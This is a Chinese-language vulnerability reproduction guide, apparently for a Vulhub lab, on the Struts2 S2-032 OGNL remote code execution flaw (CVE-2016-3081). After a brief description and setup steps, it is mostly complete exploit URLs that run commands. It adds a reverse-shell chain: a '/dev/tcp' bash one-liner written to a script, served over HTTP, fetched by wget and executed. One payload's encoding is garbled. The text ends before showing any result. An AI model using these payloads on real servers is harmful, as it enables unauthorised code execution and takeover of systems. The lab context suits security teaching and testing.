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72 lines
3.0 KiB
Markdown
72 lines
3.0 KiB
Markdown
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# Struts2 S2-032 远程代码执行漏洞 CVE-2016-3081
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## 漏洞描述
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Struts2在开启了动态方法调用（Dynamic Method Invocation）的情况下，可以使用`method:<name>`的方式来调用名字是`<name>`的方法，而这个方法名将会进行OGNL表达式计算，导致远程命令执行漏洞。
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漏洞详情:
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- https://cwiki.apache.org/confluence/display/WW/S2-032
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- https://www.cnblogs.com/mrchang/p/6501428.html
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## 漏洞影响
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影响版本: Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
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## 环境搭建
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Vulhub执行以下命令启动s2-032测试环境：
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```
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docker-compose build
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docker-compose up -d
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```
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环境启动后，访问`http://your-ip:8080`即可看到默认页面。
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## 漏洞复现
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直接请求如下URL，即可执行`id`命令：
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```
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http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
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```
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### 反弹shell
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编写shell脚本并启动http服务器：
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```
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echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
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python3环境下：python -m http.server 80
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```
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上传shell.sh文件的命令为：
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```
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wget 192.168.174.128/shell.sh
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```
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上传shell.sh文件的Payload为：
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```
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http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=wget%20192.168.174.128/shell.sh
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```
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执行shell.sh文件的命令为：
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```
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bash shell.sh
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```
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执行shell.sh文件的Payload为：
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```
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http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=bash%shell.sh
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```
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成功接收反弹shell：
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